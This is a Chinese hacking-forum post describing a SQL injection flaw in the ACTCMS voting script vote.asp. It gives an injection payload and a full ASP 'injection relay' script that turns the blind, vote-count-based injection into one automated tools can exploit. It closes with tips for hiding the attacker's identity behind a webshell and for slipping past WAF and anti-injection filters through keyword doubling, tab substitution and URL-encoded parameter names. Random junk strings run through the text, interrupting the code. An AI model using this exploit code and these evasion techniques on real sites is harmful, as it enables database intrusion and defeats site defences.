中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
* t0 y0 |+ Z6 D' ?- w/ f8 o- P
看到ninty大牛的blog的一篇文章
( _3 p+ Y$ O2 b7 t. O/ I
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
3 {2 o" F8 C1 b
关于actcms漏洞的利用 by 3x qq:381862589
4 v- V5 ^4 {; v* o
转载请注明以上
- f3 I, l! z9 R% L7 i0 X' \- u, H: V
漏洞文件:
' ]" ^6 q* r }7 g
/plus/vote/vote.asp
- Y5 C, g5 F& V
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
8 Y5 V/ m3 k* t" R1 s8 n% w, r
; \3 p( x) u$ K6 V9 E" B
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
2 X& f5 l; O7 P2 s5 |5 ~
0 |& l9 z4 J" U( m: }9 p
3 response.end
& t7 I6 b7 s' Y1 m( {$ R' T! d" b
6 C9 d( |6 X4 p. Y- H7 h* o6 \0 F( n& H
4 end if
& k. [3 | c; `! n; ^: ^
i* a; _1 ?( o7 ~5 ~- }
5 for i=1 to request("voted").count
/ J( @2 S' ^( [
) |' X8 E1 q0 f: K _' l
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
5 k. C( ^0 { H; @/ ^' d; W
1 ~3 J- C; W4 H2 v9 v
7 next
9 d ^! u, ]( N6 z" o3 i# i
4 Y7 a% @3 G. X: i5 ?: v
8....
+ l9 y g0 M' ] q( I
- ^+ u3 ?( Q1 I* f% }6 S/ r% f9 m( \9 }
9response.Redirect "index.asp?id="&id&""
7 G# V L R: `7 ~5 d3 ` J# A4 x& m
投票结束回跳转回index.asp这个投票结果页面
, m; H/ f( U- A( ^- r! X" j4 W' E! |
如果投票成功票数加1
! T$ w( v! z2 Z9 A( Y1 ~3 {
失败票数不变
, J) g) c* e2 {
如图:
/ r8 a" p* W8 K
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
% s% U$ Z& j* y, E8 n9 Y
+ x# _6 a$ J$ k) o: j: J1 ~5 {) c! F
2009-12-27 13:20
$ h" R" X7 E1 ^. k
9 a* Q, l& x1 ]7 u
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
8 A! [! }/ @" D0 T8 ^7 N0 u
" C# V, q! e7 j; u( O
本帖隐藏的内容需要回复才可以浏览
+ l, f" ~( P! m3 A9 p6 j
我们用注入中转来实现这个注入具体代码如下:
1 y6 \5 W/ G# Z( O
先用寂寞的刺猬大牛的注入中转生成jmget.asp
& ?9 [) s1 Y# @+ u% m5 V0 L
注入地址:http://localhost/actcms/plus/vote/vote.asp
$ t# Z$ o; ]/ D
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
! ]/ J) t" Z Z4 M4 ]9 A0 v) ~
+ L" N2 b4 o6 p; m
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
. }. ^" Z* \8 V. `+ z
F" j" q8 [2 S: Z! V$ L( }
02JmdcwName=request("jmdcw")
, \$ i r7 e# U; k; f2 s
! m- E0 t y; C! {) O: E
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
6 U, {3 i9 X3 H- o
4 [* ~# F3 P Q% d9 s- Q
04JmStr="id=1&voted=-1 or 1="&JmdcwName
+ I$ O6 f) B3 d: \' _
) N& Q; N9 ]0 ?; @
05JmStr=URLEncoding(JmStr)
/ D: a8 J$ f5 G* l( T3 U
4 G) W [' ^. l0 }* ]+ l
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
, A I( ~- G6 J* a- I
' L! q- E, J! P3 c( I1 u
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
# J" X6 N7 c. i& u4 {
4 _( Q! f5 ]. B& T3 Z
08testurl=testurl & "?" & JmStr
t0 P5 t8 g( u" V* X f% a
$ X! T" m; n+ ?+ b+ W
09JMUrl=JMUrl & "?" & JmStr
8 L% j5 |5 Q# i/ h
, S* Q k# L) [
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
+ p- q/ t% l" H0 f1 E, J$ o z
7 \: q/ {0 \# C6 P! `% H
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
+ W" p" J9 J9 W$ A& c
. @+ k, u; k9 L5 D
12JmCok=replace(JmCok,chr(32),"%20")
) w7 M/ }1 c3 ?9 f0 C3 p
6 g0 v H2 n* K
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
/ U0 ^& X7 f1 i7 z) W: ?" l) L
# D! W7 x1 d7 [! m/ U( V# D4 J+ t
14
3 p: `. V- B# v- h; ?# `
6 w7 V. b! }( a( O# {* f
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
2 [% L5 z9 A! X+ L
- l3 ?8 D H( _% j& V' h; ]
16
) ~4 y8 W9 [( N
) f* z0 J% _$ p$ E
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# ^% V8 @, g @7 T9 @
+ v1 g2 t; L+ n$ T: K+ o6 {6 T
18response.write test1&""&test2&""
6 C' u5 i/ C5 Y- [9 F2 g
# F8 Z; i& _: E& l8 v
19
* s: f' V0 _) X6 M" t+ h
- i. b o* x9 \& J& g8 l
20if test1=test2 then '如前后记录相等,表示失败
2 ^9 g) s X! c: ~% @* s/ n; W
# ]8 N8 i# ]7 X9 i! Q1 I6 A
21 response.write "failed"
. S# w$ p- E4 T
- _; x9 h- u7 t1 W; }1 J
22else
) Y' L) e; Z. Z* {! W6 @* g2 x, ]
% @( y. m T: E) R
23 response.write "succeed"
) S5 z2 `7 o- x' m$ m& @
" W9 Z8 {9 ] z1 I& b) n; M
24end if
/ K0 S u3 Z& m2 Q0 Z
7 ~. M/ Z- y: s1 r6 m, |
25
' T1 Z/ n' [0 y, V5 [! J) [+ w: q
( X- _7 m s$ C4 D" a+ ]
26response.write "by 3x"
/ w* `% m, F6 x1 W0 k
- c7 C6 f' m4 r) ]5 e
27
7 k8 m9 } f4 u
/ X' O: R; H/ O" g
28
; a6 j: `' @9 F" s/ C: u1 [+ Z
& e. E9 t3 D2 K& X$ { b
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
2 x+ @1 q2 Q5 c- D0 m2 [/ \
# t! M$ O( `2 v M3 c
30Dim Http
9 d) e( R% a5 i3 ?+ R- g( Z
8 u9 l+ B1 p# Z$ ~+ q) P- q
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
# I \4 z& I/ u
, c# i. A7 v0 g3 I& Y5 w9 s
32With Http
' \9 ?! j/ k7 \5 N* `; M
+ B/ X/ t) K% E) _3 r
33
$ q% l# H, p! _# E% o6 S
, f9 `! f# I G
34.Open "GET",PostUrl,False
. s. ]1 D* o4 H1 t
( H. p6 _) ?) x' b1 h
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
# c- B0 E; J6 H6 X, |% v. `& `
+ \+ `* a, v B* O* }
36.SetRequestHeader "Referer",PostRef
) j4 f" g/ P; i# h" E, i7 ]
% c4 T- `% v4 o" P9 Z1 J$ i, X
37.SetRequestHeader "Cookie",PostCok
& d5 ^. \: l- _0 J: a
) \& D" o, M/ u. p: y0 G% v) p
38.Send ()
5 l5 Z) M4 z3 \7 m" z) Z
+ D; w4 F& r7 i( M4 t
39PostData = .ResponseBody
5 ?4 g2 A7 k9 ]$ S
" v. m- G: {4 o5 F1 T+ m
40End With
$ t8 K# _" p, F# m1 g
/ V3 u9 u/ |$ Q8 v
41Set Http = Nothing
6 Z1 r$ _0 M% L
6 u) ~5 h* M9 ?1 @
42PostData =bytes2BSTR(PostData)
: k+ q9 { h0 \
$ n1 V3 N( r, s: F2 z2 k/ v2 d
43End Function
: a5 u: l" T. @9 }, g0 d
( X, R" ]" ~3 c1 l1 c' r
44
w( N& O) T/ @' O8 E
- `7 `/ ^6 D Z8 _- c" G" N. p
45
3 Y- q7 M* b/ f
# e3 ^5 W) D( _: n4 h
46Function bytes2BSTR(vIn)
, {7 B# U* Z6 W; V, Z
& A4 ]& B$ S( W+ E# }# S
47Dim strReturn
7 h0 v$ }% V6 A; a( t/ |
' V" e8 Z7 z2 ]: P
48Dim I, ThisCharCode, NextCharCode
" W0 J& s6 t$ c8 ]
: J2 C6 p3 `; E6 |, z. V" P3 D
49strReturn = ""
$ X5 T* J( U2 o2 M0 v9 Q" M
' m' Q% c* K+ F, @
50For I = 1 To LenB(vIn)
# K1 N! F8 u% H
% E z. {8 w7 P2 _3 i% v/ Z
51ThisCharCode = AscB(MidB(vIn, I, 1))
$ Z6 U( B# [% R8 a7 f& m
9 r0 Q7 e. V; p/ e. X- y
52If ThisCharCode < &H80 Then
9 Y9 q: {# J( I/ l8 {9 r2 T
; f+ X) Z/ B; y( l- _
53strReturn = strReturn & Chr(ThisCharCode)
9 Y$ R, l+ r. B4 P) _
8 P/ h' B6 h. B: U6 J
54Else
8 C& I% a- ]( I- K+ G1 o
B% Q+ k! _- }/ _& v
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
0 ?5 f& k3 @0 n! |
$ K4 v; o$ ]; m
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) h6 d z6 `. n8 \. {9 J
! }" p' q. Q1 _& k1 a/ U
57I = I + 1
' a8 i9 ]. [. D0 Q P
" k) W- U, Q j
58End If
8 `* ]( Z, A5 H! Q
+ ]4 Q1 G& |* O, ]- X) A: F1 z
59Next
) _- a& Y5 I; Y0 k; h* L" u
. t9 O8 E" }* y, v0 K+ Y
60bytes2BSTR = strReturn
! _! j8 f0 b& W
5 [! s% ~3 }# O H/ h
61End Function
8 U6 v" L( R/ ~9 |6 M9 Y3 o4 c
4 S1 }* [! f) s
62
0 m% P6 D' |. J0 X+ Y' D/ ?
. i8 Y+ z8 L9 ^- M9 z6 A7 y
63Function URLEncoding(vstrin)
, W0 f4 A6 C6 {8 o
3 c0 k2 w# q+ l) o8 L3 X
64strReturn=""
: d, P9 W4 J+ a, |; U9 k* W
0 U/ Q1 b$ {2 R) ]! F+ e
65Dim i
9 b8 E8 y a5 V6 y1 g7 @% E
4 a0 l" g: e) O% N( z/ x
66For i=1 To Len(vstrin)
! [2 B* w O6 Y$ p0 L2 ]
* S2 x- a. M7 y& I, ?( m
67ThisChr=Mid(vstrin,i,1)
8 B8 p- @: Z& s3 D9 F
; f6 x O, o: p$ f$ j
68if Abs(Asc(ThisChr))< &HFF Then
h; u8 l# @, E* J
, Y# j2 H5 N3 v# `
69strReturn=strReturn & ThisChr
$ x; H- O+ _& k$ }
+ B' v A0 N2 q! E' y
70Else
" J1 \! Z# w1 l% X
$ c5 K1 M7 F, o, s7 C5 ^+ Q) M
71InnerCode=Asc(ThisChr)
/ V/ t7 L: P# E# d0 T
* S( R/ y8 h# l
72If InnerCode<0 Then
' G8 F7 n1 l* v8 X; s8 D. t
8 ?6 l% X, ~: O) L
73InnerCode=InnerCode + &H10000
5 @: w# }2 `1 @$ r7 S! O
* m# u3 C& q/ W- r+ E" a
74End If
7 |9 X8 |( c: Q1 \. `. ]" h
" a; y/ ?/ j) n' f2 ?/ F+ X! X, a
75Hight1=(InnerCode And &HFF00) \&HFF
6 }* `! }1 n2 @6 F! P5 r
8 I( m4 M, \2 ^2 S" T
76Low1=InnerCode And &HFF
3 u# m) p8 H9 V! D
) x* g+ t, y9 J( J) }; g9 Y4 c5 c
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
: J# p! K- \& |' k6 ~# X% ?8 E
1 D$ I0 M0 p( c
78End if
; ^ c- H. C% s9 g: }! W% |! \
4 u/ C6 ?' W2 \. K/ ]3 G( n
79Next
. V+ v, [) M! z3 i9 Z3 n: Z
]5 A' \( T+ D3 H
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 I$ J' c% G% O8 @& e
6 e0 c n+ {4 w! j9 W0 D# G
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
! b8 H$ o) C/ x! \2 E- L+ F @
1 {, N3 h! j; R% e. X* r
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
2 |) d+ O2 }8 V( y' ?8 @
) ~, N7 y n- L1 `/ ^8 P
83URLEncoding=strReturn
. p4 v- m. I7 }8 a8 i
* e0 ]6 B) P% Z$ L! [) S3 ?: X9 J
84End Function
R& ?; y7 b" M& X6 _8 }1 h0 J& @
& z# h d; [2 b2 t1 y; l. }5 j
85
0 [0 W3 J' `4 m% I g" N0 |$ X
( \" a& u4 Q& p
86function getSt(body)
% l. E. d7 R& Y4 F& X0 q
5 |3 p6 t' _) X5 s% j/ r% M" {
87 startpot=instr(body,"投票人数:")+len("投票人数:")
( }& g. m2 x B- Q
% u9 w4 e$ G) |- T' w+ C5 b
88 endpot=instr(startpot,body," ")
! W4 m, ^% l _1 `; N9 V
, d: K0 v& Q5 i' S b; ?) G: @
89 getSt=mid(body,startpot,endpot-startpot)
8 ^( o/ n1 j$ T+ C' X3 B8 C
$ ], j/ B" M( R9 R
90end function
5 I$ {$ b( R6 H( M$ `
) b/ r1 B! Z, v8 g5 w4 w
91%>
, w* g. f; I C' Z
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
% s1 y+ o0 k5 F3 |% ?4 h+ r
测试下效果:
" L% b" P* e( n# O% }
投票成功:
" r' i1 b f& T6 z
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
9 N3 K A6 N4 Y4 Y/ j" ?0 l" b
2 a" \* Q& t7 l$ A4 D
2009-12-27 13:29
6 F! f2 N0 c q$ ?9 F; j
投票失败
$ U4 G, w! I% z8 y
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
3 ]6 E% X! f ?9 a3 O
% v/ H$ \+ `$ z" A5 ~
2009-12-27 13:29
$ w L: ], } Q, Q: k
-------------------------------------------------------------------------------
5 d- e3 @3 x5 c" f) T* v+ m) R
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
; w3 a( [! G3 v
很抱歉。。。只能用单线程工具去注入。。。。。
F' G, g% \, G7 ^* ^$ t
所以失败。。。不好意思。。。
) Y. N" P+ H- `1 f3 p0 @
-------------------------------------------------------------------------------
: A" x% i/ s/ d- h
/ X0 a! U1 |" Z$ H U3 a
注入中转的一些其他应用
+ M1 B' a2 P$ m+ _, A* z
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
: q9 c# f6 F& g* p) A' ]3 J. z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
+ F1 B+ o5 {1 o$ N$ ]/ U- [* Z
2.post注入转成get型的注入,方便我们使用工具来跑
: F" ], n; b& Q- L9 g- |5 }" i1 i
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
5 j" `1 |2 ?* j I, j4 E: w( T
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
5 [6 c/ {) R+ j* g% {3 P
2 R8 w N. t0 S* d
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2